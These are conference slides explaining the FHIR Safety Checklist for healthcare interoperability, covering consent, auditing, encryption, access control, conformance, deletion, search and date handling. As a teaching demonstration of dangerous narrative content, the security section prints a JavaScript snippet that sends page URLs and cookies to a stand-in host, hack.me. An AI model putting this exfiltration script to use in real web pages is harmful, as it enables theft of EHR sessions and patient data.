The FHIR Safety Checklist

Diego Kaminker kaminker.diego@gmail.com
My background

• Diego Kaminker, FHL7 kaminker.diego@gmail.com
• HL7 Education Advisory Committee, member
• HL7 International, Affiliate Director
• HL7 Argentina, Board Member
• HL7 Fundamentals Course / FHIR Fundamentals Course - Co-Author / Co-Coordinator
• Kern-IT SRL, Innovation Director
• In the last 20 years, involved in specs or implementation of 100s of HL7 V2.x interfaces, 10 CDA R2 guides, 8 FHIR implementation projects
• Teaching: I helped educate on HL7 Standards – V2.x, CDA R2, V3, FHIR- (between F2F and e-learning) more than 6000 students in LATAM, Spain, USA
• Affiliate Mentoring: I facilitated the creation, consolidation and eventual evaporation of HL7 Affiliates in Argentina, Uruguay, Brasil, Chile, Colombia, Peru, Philippines, Malaysia, Pakistan and Portugal
FHIR Safety Checklist

Have you read it? How many times? “Across & Fast”? Hands up please. No? Don’t read it now.

(Because we are at a conference, and I am presenting)

Where is it?

https://www.hl7.org/fhir/safety.html
Two sections

**Theory:** We will review the checklist, along with the risks and what to do about them.

**Let’s build:** We will go through some examples. In fact, YOU will go through some hands-on examples and you will need to DISCOVER which part of the checklist was not applied and suggest how to apply it.
...what if I don´t?

What happens if I DO NOT follow the FHIR Safety checklist?

➔ **Death**
   Someone may die. Probably someone will die anyway. But make sure you are not responsible.

➔ **Hunger**
   Unsaftety creates anxiety. I eat, don´t know what you do.

➔ **War**
   Conventional or nuclear. You choose

Or maybe...nothing? We cannot be sure. There is always the risk...
Which risk? Let’s find out!
Methodology

The FHIR Safety checklist will help you reduce RISKS.
Let’s explore which risks...
And what to do about them...

We will use this callout to explain “What If I don’t”: “Think!”

And this one to discuss “How to Fix?” or “What to do?”

Note: Remember that the final saying is in the actual checklist. This is only my point of view and I simplified a lot because reading the actual checklist is like wearing a watermelon collar. The collar is at: https://www.hl7.org/fhir/safety.html
7 FHIR Safety Checklist Sections

- PRIVACY
- SECURITY
- CONFORMANCE
- DELETION
- SEARCH
- DATE/TIME
- OTHER
Ensure that your software met regulations and other legal requirements (HIPAA, GDPR, etc.) - Not enough! - Align with your use case!

➔ **1.1 Patient Consent**
  The right consent was granted by the patient.

➔ **1.2 Accounting of Disclosure**
  Sent to the consenter when specific actions on resources are performed. Record using AuditEvent

Make sure you (and the patient) KNOW when her data is shared

Record AuditEvent log
Send alerts to the patient, analyze logs to discover patterns and outliers: physicians searching too many patients records, off-hours, etc.

Unauthorized access to patient records...because there is no proof of consent. You will have a place in the news, and less $$$!

Make sure the patient is OK with data sharing

UnAudit Log: You will find out about the breach... TOO LATE
Tell the patient: she will know if it’s OK

No Audit Log: You will find out about the breach... TOO LATE
Tell the patient: she will know if it’s OK

PRIVACY

Make sure you (and the patient) KNOW when her data is shared

Unauthorized access to patient records...because there is no proof of consent. You will have a place in the news, and less $$$!

Make sure the patient is OK with data sharing

Record AuditEvent log
Send alerts to the patient, analyze logs to discover patterns and outliers: physicians searching too many patients records, off-hours, etc.
Consent example - Smart On FHIR Launch

- Launch context info
- Read all Observations for a given patient
- Write all Observations for a given patient
- Read all Patients for a given patient

more information
You will be redirected to the following page if you click Approve:
https://bilirubin-risk-chart.hspconsortium.org/app.html

Remember this decision:
- remember this decision until I revoke it
- remember this decision for one hour
- prompt me again next time
SECURITY

Ensure clocks are synchronized and all exchanged info is encrypted

➔ 2.1 Basic Context
Clock Synchronization
DNS Authentication for the API

➔ 2.2 Communications
Encryption on the wire, https, s-mime
Best Practices in TLS (BCP195)

Chronological order is paramount in clinical evaluation. Your patient may end up leaving the rooms before entering if this is not managed properly.

Anyone would be able to sniff your channels and you will be part of bad hacker movie. Remember that the walls of the Hospitals no longer protect us.

Encrypt all channels. Use up-to-date protocols

Use HTTPs
Encrypt Mails
Encrypt everything that moves
Do not store your credentials in plain text
Do not store your credentials in cloud shared files

Use NTP for clock synchronization. See http://www.ntp.org
Ensure secure connection, proper authentication & authorization, access control

➔ 2.3 Authentication
   oAuth Profile (Smart On FHIR?)
   Use of OpenID Connect for Authentication of End Users

➔ 2.4 Authorization / Access Control
   Proper Access Control for Every Request (ABAC+RBAC)
   Consideration of Security Labels

Basic authentication is no longer recommended (too dangerous)
Open access to all kind of resources/methods is dangerous

Two step access to a specific set of resources / methods

Step 1: Exchange user/pwd or secret with authorization server. Obtain token -which expires-. Token will include ‘scope’ ("What this user can do with which resources")
Step 2: Access actual resources w/token - Smart-On-FHIR: Read-Only!

Consented access to specific resources, usually read-only if patient facing

Security labels / RBAC: Some kind of resources require specific permission: Think sexual / mental diseases, VIP persons

Check scopes / roles / security tags for EVERY request, not only the first. Beware of bundles. Contained resources cannot include security tags.
Active Content can be used to invoke malware! Leaking cookies and other info Through images or links stylesheets.

Don't allow active content. Watch your url / reference elements Differentiate between API and browser generated content Sanitize and validate!

Narrative is rendered in the browser. Browsers are dangerous!

This is very difficult and still not fully baked

You may end up not knowing who created (Provenance) a specific version of a resource. And in a distributed world, the author can be anywhere

Use Provenance to record who asserted something about the patients, or contributed to the patient record. Inside or outside your organization

SECURITY

Integrity and validation of clinical information. Proper usage and provenance record.

➔ 2.5 Integrity

Render Narratives Properly/Securely

Validates all input received

Use Provenance statement resource


```javascript
if (!window.added_img) {
    window.added_img = true;
    var i = document.createElement("img");
i.style.display = "none";
setTimeout(function() {
i.src = 
"https://hack.me/from/" +
encodeURIComponent(document.URL) +
"/cookie/" +
encodeURIComponent(document.cookie);
document.body.appendChild(i);
});
window.setTimeout(function() {
    console.log("Sending document URL + cookies to 
https://hack.me...");
    console.log("URL", document.URL);
    console.log("cookie", document.cookie);
    alert("Sending your document URL + cookies to https://hack.me");
    window.parent.$("body").css("background", "yellow");
    window.parent.$("h1").text("EHR Session stolen!");
}, 100);
```
No Capability Statement: **NOT A FHIR SERVER**
No processable constraints published: **NO IMPLEMENTATION GUIDE**

**CONFORMANCE**

This is your FHIR public persona: who you are and what you do

Answer to /metadata ->
Others know what you can and cannot do
Publicly available ValueSets->
others know which vocabulary you use

Try not to embarrass yourself showing old, non-current data to your app customer

Awareness of life cycles.
What is a ‘current’ list?

In general: active, planned, cancelled, entered-in-error, stopped, on-hold, draft, completed. Variations by resource class.
Define what constitutes a 'current’ list. Beware of start/end dates in clinical resources
Ensure that your software correctly processes:

➔ **3.3 Modifier Elements - Extensions / Must Support**

Modifier Elements: status, etc.
Modifier Extensions
Must-Support elements

➔ **3.4 Error Checking**

API / Operations Error Status
OperationOutcome contents

---

CONFORMANCE

Errors DO occur. Do not underestimate the probability. This is a distributed world. More Entropy!

“Try...Catch”
And do something meaningful about the catch part. Let your users know, re-try, log your errors too.

They may change the meaning of the resource or represent important information. Example, compare:

*Give this patient X vs DO NOT Give this patient X*

Elements you cannot ignore

Always process, store, render
- Modifier elements
- Modifier Extensions (*)
- Must-Support elements

(*) Reject the resource if you do not support the extension or treat it carefully (narrative only, for example)

Disregard errors and your application will behave oddly (to say the least)
Ensure that your software knows

→ **3.5 Validation of Resources**
  Strategies: Validation in Production?
  Validate against Schema? Schematron?
  Beware of loss of clinical data / historical data due to validation

→ **3.6 Proper Use of focus in Observation resource**
  Assign to the proper patient/subject

**CONFORMANCE**

*focus*: What the observation is about, **when it is not about the subject of record**

Always check ‘focus’ when you check ‘subject’ and interpret accordingly.
Remember that *focus* is reference(any)

Unvalidated resources will cause processing/workflow problems

Always validate before going into production

Use Postel Law:
An implementation should be conservative in its sending behavior, and liberal in its receiving behavior.
Ensure that your software and you understand:

➔ **3.7 Distributed Resources**
  - Storing copies of resources defined elsewhere
  - Strategies/Configuration for accessing resources stored in multiple servers

➔ **3.8 Contained Resources**
  - Why are you using contained?
  - Rationale: only for resources with no own location/identity

What if you need to directly access / search / **REFERENCE** the ‘contained’? -> **Doomed!**

“Contained” are buried in their containers. Usually is an easy choice when we don’t know how to handle the resources

Assess the need and rationale for each case.

Complex architectures should be thoroughly documented and understood. Caches are tricky. New trend: **INFHIRSTRUCTURE**

This is why FHIR exists!

Resources are managed by their ‘natural’ servers
**Strategies:** Manual configuration, transversal, endpoint registries, regional infrastructure (patient, provider, results, etc.)
**Cached resources:** define a clear strategy for refresh
"INFHIRSTRUCTURE" (I invented the word yesterday, GG authorized. At least laughed)

- (was infrastructure '80s, infostructure '90-'00s)
- Master Patient Index Server (1..n?): PIXm
- Terminology Server: Snowstorm+FHIR Terminology
- Validation Server: (Structures+ValueSets+CodeSystems)
- Practitioner Registry: PD
- Provider Registry: PD
- Document Repositories and Registries (1..n): MHD
- Consent Registry
- Audit Log Server
- Authorization/Authentication Server... and then...
- 'Your specific use case resource server or facade'
- 'Your specific use case clients'

Image courtesy of Dr. David Hay
Ensure that your ecosystem handle deletions properly

➔ **4.1 Handling of Deletion**
Deletions are properly replicated if local copies are kept

➔ **4.2 Documentation about Server handling of deleted resources**
Provide examples of deletion in sandboxes
Document effects of deletion

They need to be aware of deletion like another variant of life cycle/status

Let your clients know how deletion works for your server

You have a local copy of the physician registry...do you know that a specific record was deleted? What about a Rx signed by this physician?

Can resources be deleted? How do I found out?

Document deletion procedures, effects and propagation. Include deleted resources in your sandbox or allow deletions to study effect.

Describe and test replication of deletion. Who gets notified? How? Subscription? Query?
Ensure that you balance the impedance between servers and clients about searching

➔ 5.1 For Clients
  - Check parameter processing
  - Display Error Messages

➔ 5.2 For Servers
  - Apply default parameters, based on context
  - Check for erroneous parameters

Mismatch between what you return and what your clients want.

Context provide currency: only 'active' resources for a given patient.

Return by-default only active resources based on the class.
Return error when a not-supported search is requested.

Not all servers support all search parameters.

You can get more records (or less) than you requested.

Verify the server's capability statement.
Check that your response only contains what you requested. If needed, re-apply filter.
Check server errors after search.
Ensure that your software understand **time zones, languages, date and numeric format variations** (decimal point?)

➔ **6.1 Time Zone Adjustment**

Some fields can be time-zone adjusted, some fields cannot.

➔ **6.2 Language/ Date Format / Culture**

Review differences in date format. Example d-m-y, m-d-y

It's not the same being an inpatient since March 5th or since June 3rd

'Developer time' is not always right. Things happen 'in the real world' and the server may be in a different world

Depending on your software zone scope

Review your date display
Use month name when possible

Use timezone adjusted times when possible

Assess your different datetime/time fields. Where is the time information generated? Is it used defined? Entered? How will you display it? How will it be stored? Exchanged?
Ensure that your server runs OK with JS clients: CORS; just JSON format. Be solid on error.

➔ **7.1 CORS handling / JSON _format support**

If your clients are developed in JS, your server needs to be CORS aware.

Make sure you support JSON and/or _format parameter

➔ **7.2 Errors: Valid JSON / OperationOutcome returned**

Die gently on errors -> always return an OperationOutcome

If you support only XML clients and no CORS, you will miss 70% of the market

Make sure you check the _format parameter

TRY your server with JS clients.

Some REFERENCE servers doesn’t support CORS!

End users will PANIC over uncontrolled error messages

You need to know when you are dying, and be civil about it

If you are an API: Catch all errors and translate them into an OperationOutcome response

Must have for cater JS clients
“Do not wish me luck, give me a checklist”

Albert Einstein*

(*) Seems legit?

Bonus Material

Try the FHIR Safety Checklist Template
(you will use it in our Let’s build session)


Questions?